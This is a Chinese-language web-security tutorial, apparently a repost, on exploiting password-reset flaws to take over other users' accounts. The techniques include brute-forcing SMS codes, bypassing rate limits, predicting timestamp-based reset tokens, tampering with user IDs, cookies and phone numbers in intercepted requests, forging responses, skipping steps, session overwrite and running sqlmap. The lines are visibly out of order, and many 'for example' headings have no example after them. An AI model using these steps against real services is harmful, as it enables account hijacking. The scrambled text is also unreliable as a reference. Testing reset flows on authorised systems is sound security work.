所以只要在暴力破解的同時,改變手機號后面的字符即可達到漏洞效果
根據手機號找回密碼,但是驗證次數被限制,抓包
可以嘗試在手機號后面添加不為數字的字符,查看是否過濾
根據手機號找回密碼,隨便輸個驗證碼,抓包
暴力破解驗證碼(假如只有四位),很快就可以破解出來
四位或六位純數字,驗證碼次數未限制
例如:
如果驗證碼次數限制,破解一會就會提示請求過于頻繁,這時就需要繞過限制
例如:
通過密保問題找回密碼,查看原始碼,密保問題和答案就在原始碼中顯示
回傳憑證(驗證碼 及 token)、郵箱弱 token、用戶憑證有效性、重新系結
抓包,可以發現回傳的資料中有一個加密的字串(token),先記錄下這個加密字串
繼續按照正常流程,登錄郵箱獲得驗證碼,回傳填寫驗證碼后,進入下一個填寫新密碼頁面,發現 URL 后新增了一個加密驗證的字串
這個字串就是之前資料包中記錄的字串,所以郵箱驗證碼這個環節可以繞過,直接用他人郵箱抓包獲得加密字串就可以重置他人密碼
根據手機號找回密碼,抓包,可以發現驗證碼直接顯示 verifycode=xxxx,或者由 md5 加密后顯示,解密即可(同理,有的時候輸入用戶名,抓包可以看到回傳的手機號等其他資訊)
根據郵箱找回密碼,抓包直接回傳,密碼找回憑證可能在頁面中
例如:
利用兩個帳號同時點擊找回密碼,去郵箱查看找回密碼的鏈接,發現兩者的隨機 token 只差 1-2,而且可以猜測出為服務器時間
所以可以用一個未知帳號和一個已知帳號同時點擊找回密碼,稍微遍歷一下隨機 token,就可以構造出未知帳號的密碼找回鏈接
例如:
通過郵箱找回密碼,正常流程去郵箱查看重置密碼鏈接,發現鏈接處有一串 md5 加密字串
字串解密,類似 1491293277(10位),可以判斷為 Unix時間戳,(可能md5)
重置他人密碼只需要利用他人郵箱發送重置密碼郵箱,在短時間內對 Unix時間戳 進行暴力破解,即可獲得重置密碼的鏈接
重置密碼鏈接直接使用用戶名來區別,改變用戶名即可更改他人密碼
繞過token
正常流程下,對每個功能模塊進行抓包,分別是發送驗證碼,驗證驗證碼是否正確,獲取 token,重置密碼
接下來,用他人帳號通過郵箱驗證,抓包,將其中 Cookie 內從 JSESSIONID 開始的內容替換至正常流程的發生驗證碼包內,同時替換自己接受驗證碼的郵箱,提交
通過郵箱獲取驗證碼后,將驗證碼、Cookie、他人帳號、自己郵箱替換至驗證驗證碼模塊,提交(不用在意回傳是否錯誤)
繼續替換內至獲取 token 模塊,提交獲取 token
最后將獲取的 token 和上面的內容替換至最后的重置密碼模塊,提交成功修改密碼
例如:
通過郵箱找回密碼,訪問鏈接重置密碼,輸入新密碼后提交時抓包,雖然有 token,但是依然可以直接修改 用戶ID 進而修改他人密碼
例如:
通過他人手機號找回密碼,抓包,將他人手機號替換成自己的手機號,獲取驗證碼,提交后修改密碼
通過自己手機號找回密碼,獲取驗證碼后抓包,將資料包中的 username 改為他人用戶名,提交后成功修改他人密碼
短信驗證碼、郵箱 token、重置密碼 token
例如:
通過郵箱找回密碼,URL 鏈接中修改 用戶ID 為他人,郵箱不變,之后通過鏈接可以將他人賬戶系結為自己的郵箱,之后通過郵箱找回密碼
例如:
給已知賬戶系結手機,發現系結手機的 URL 鏈接中有 uid 引數,修改 uid 引數為他人的,即可實作將他人的賬戶系結上自己的手機,之后通過手機來修改密碼
修改個人資料處抓包,修改 userId 為他人,修改 mobilePhone 為自己的手機,即可實作將他人的賬戶系結上自己的手機,之后通過手機來修改密碼
手機系結、郵箱系結
例如:
通過密碼保護問題找回密碼,抓包,將密碼保護問題洗掉,直接修改密碼,提交
注:此處密保問題和新密碼在同一頁面
例如:
正常流程,通過手機號提交驗證碼找回密碼處抓包,記錄下這個包的內容
通過已知用戶名找回密碼,查看源代碼可以發現用戶其他資訊(比如:手機號、郵箱)
通過發現的手機號選擇通過手機找回密碼,隨便輸入短信驗證碼,抓包
修改之前記錄下的包的內容,將其中 Session id、用戶ID 修改為剛剛從其他用戶名抓包獲得的內容,提交這個包,即可成功修改他人密碼
最終提交步驟
例如:
通過郵箱找回密碼,最后通過鏈接至修改密碼頁面,修改密碼后提交,抓包,獲得 Uid 引數,修改為他人,即可修改其他用戶密碼
服務器驗證的驗證邏輯為空(繞過認證)
例如:
通過郵箱找回密碼,點擊請重新發送郵件處抓包,將郵箱改為自己的郵箱,通過鏈接成功修改密碼
例如:
通過手機找回密碼,輸入驗證碼和新的密碼,F12 審查元素,修改自己的手機為他人手機,提交成功修改他人手機(也可以抓包修改)
例如:
正常流程下,密碼找回,查看最后設定新密碼頁面的 URL,記錄下來
繼續回傳密碼找回處,輸入其他用戶名,提交找回申請,直接訪問上面記錄下的修改密碼頁面,成功修改密碼
也可以正常流程下,修改密碼頁面抓包,修改其中的 USERNAME_COOKIE 為其他用戶(有可能會經過編碼,比如 base64),提交即可修改其他用戶密碼
如果抓包其中有 step 引數,可以修改這個引數為最后一步(比如:5),提交便可略過之前的步驟
跳過驗證步驟、找回方式、直接到設定新密碼頁面
例如:
通過用戶名找回密碼,提交后會自動發送驗證碼到手機中,所以抓包,修改手機為自己的手機(如果其中有 type 之類的引數,也可以嘗試修改,有 email之類的引數,可以嘗試洗掉內容)
發送修改后的包,手機成功接收驗證碼
輸入驗證碼,繼續發送,抓包,如果有 type 之類的引數,可以繼續嘗試修改,發送就可以成功修改密碼
例如:
通過手機找回密碼,隨便輸入驗證碼,抓包,發送,攔截回傳包
修改回傳包中的回傳碼,繼續發送,說不定就可以繞過驗證,直接跳到修改密碼的頁面
通過手機找回密碼,正常流程下到重置密碼頁面,抓包查看回傳資料中有一段加密字串
利用他人手機找回密碼,URL 跳轉到驗證身份頁面,鏈接中就有一段加密字串,記錄下,隨便輸入驗證碼
抓包,修改包中資料為正常流程下的資料,替換加密字串,Forward 發送,就可以繞過驗證碼,直接修改密碼
輸入用戶名,加個單引號報錯,說明可能存在報錯,抓包,保存為 txt 檔案,匯入 Sqlmap 中跑一遍
找回密碼處存在注入漏洞(見框就×)
通過郵箱找回密碼,正常流程下,抓包查看提交驗證碼后回傳的資料,發現有加密字串,這個加密字串和后面重新設定新密碼 URL 鏈接中的加密字串一樣,所以可以利用這個加密字串
根據上面提交驗證碼的抓包,修改其中的 User 為其他用戶(User 有可能會使用 md5 加密),發送,就可以回傳其他用戶的加密字串
重新回傳到找回密碼首頁,利用其他用戶找回,點下一步,到輸入驗證碼處(也有可能需要點擊發送驗證碼),直接修改 URL 鏈接,加入加密字串,可以直接繞過驗證碼,重置密碼
session覆寫漏洞
注冊重復的用戶名,例如 admin,相當于修改了密碼
同一瀏覽器,首先輸入自己的賬戶進行郵箱密碼找回,進入郵箱查看鏈接,接著輸入他人賬戶,進行密碼找回,回傳剛剛自己的郵箱點擊鏈接,由于 session 覆寫導致了,這個鏈接成為了修改他人密碼的鏈接,成功修改他人密碼
嘗試正常密碼找回流程
選擇不同的找回方式,記錄所有資料包
郵箱找回密碼
根據密碼保護問題找回密碼
根據手機號找回密碼
分析資料包,找出敏感部分
分析后臺找回機制所采用的驗證手段
修改資料包進行驗證是否存在密碼找回漏洞
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/277799.html
標籤:其他
